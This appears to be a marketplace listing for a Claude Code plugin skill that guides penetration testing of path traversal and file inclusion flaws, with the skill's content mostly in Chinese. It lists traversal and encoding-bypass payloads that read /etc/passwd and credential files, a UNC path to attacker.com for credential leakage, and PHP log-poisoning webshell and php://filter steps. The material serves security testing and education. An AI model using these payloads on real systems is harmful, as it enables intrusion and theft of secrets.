/vuln-skills:pentest-path-traversalfrom vuln-skills
Guides penetration testing of path traversal and file inclusion vulnerabilities (LFI, RFI, Zip Slip) with exploitation techniques, encoding bypasses, and detection checklists.
Ships in vuln-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
Read when SKILL.md points to them.
当对 Web 应用进行路径穿越和文件包含渗透测试时加载此 Skill。覆盖 LFI、RFI、Zip Slip 等。
高风险功能:
/download?file=report.pdf、/view?path=image.png?template=default、?theme=dark/logs?file=access.log/static/、/assets/ 路径?lang=en、?locale=zh-CN识别信号:
基础路径穿越:
# Linux
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
# Windows
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows\win.ini
编码绕过:
# URL 编码
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
# 双重编码
%252e%252e%252f → ../
# Unicode/UTF-8
..%c0%af → ../ (过长 UTF-8)
..%ef%bc%8f → ../ (全角斜杠)
# Null byte (旧版 PHP/Java)
../../../etc/passwd%00.png
../../../etc/passwd\0.png
Windows 特定技巧:
CON、PRN、AUX、NUL 可用于绕过路径规范化\\attacker.com\share\file 触发 SSRF 或凭证泄露PROGRA~1 替代 Program Filesfile.txt::$DATANode.js 特定:
Uint8Array 中存储路径绕过权限模型path.normalize() 与实际文件访问的行为差异Java/Spring 特定:
/static/..;/admin/secret 绕过 Spring Securityjar:file:///path/to/archive.jar!/entry 读取 jar 内文件%252F 双重编码绕过路径过滤PHP 特定(LFI to RCE):
php://filter/convert.base64-encode/resource=config.php 读取源码php://input + POST body 包含 PHP 代码<?php system($_GET['cmd']); ?>,然后 LFI 包含日志文件/tmp/sess_SESSIONID 中注入 PHP 代码后包含执行Zip Slip / 符号链接攻击:
../../ 路径条目的压缩包../../../etc/passwd(Linux)或 ..\..\..\windows\win.ini(Windows)%00)截断文件扩展名漏洞利用可达到的效果:
/etc/shadow.env、config.yaml、SSH 密钥等严重度判断:
以下案例来自 HackerOne 公开披露的真实漏洞报告,展示了该类漏洞在实际目标中的表现形式。
com.basecamp.bc3 version 3.26.3, allowing an attacker to write arbitrary files in the app's private directory. Additionally, the attacke...path.normalize() function in Node.js. The vulnerability allows path traversal protection to be bypasse...What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
path-traversal, lfi, rfi, file-inclusion, zip-slip, penetration-testing
npx claudepluginhub yhy0/ghsa-skill-builder --plugin vuln-skills26 skills in this plugin
/go-vuln-auth-bypassUse when auditing Go code involving authentication flows, RBAC policies, Kubernetes admission webhooks, JWT/OAuth token validation, or privilege escalation in cloud-native infrastructure. Covers CWE-287/863/269/284/285/862. Keywords: authentication bypass, authorization bypass, RBAC, admission webhook, JWT, OAuth, privilege escalation, Rancher, Kyverno, impersonation, namespace isolation, middleware auth/go-vuln-crypto-tlsUse when auditing Go code involving TLS configuration, certificate validation, JWT token parsing, SAML assertion verification, webhook signature checking, or cryptographic operations. Covers CWE-295/347/345. Keywords: InsecureSkipVerify, TLS, mTLS, certificate validation, JWT algorithm, SAML signature, cosign, sigstore, hmac.Equal, X.509, webhook HMAC/go-vuln-Other plugins' skills for the same job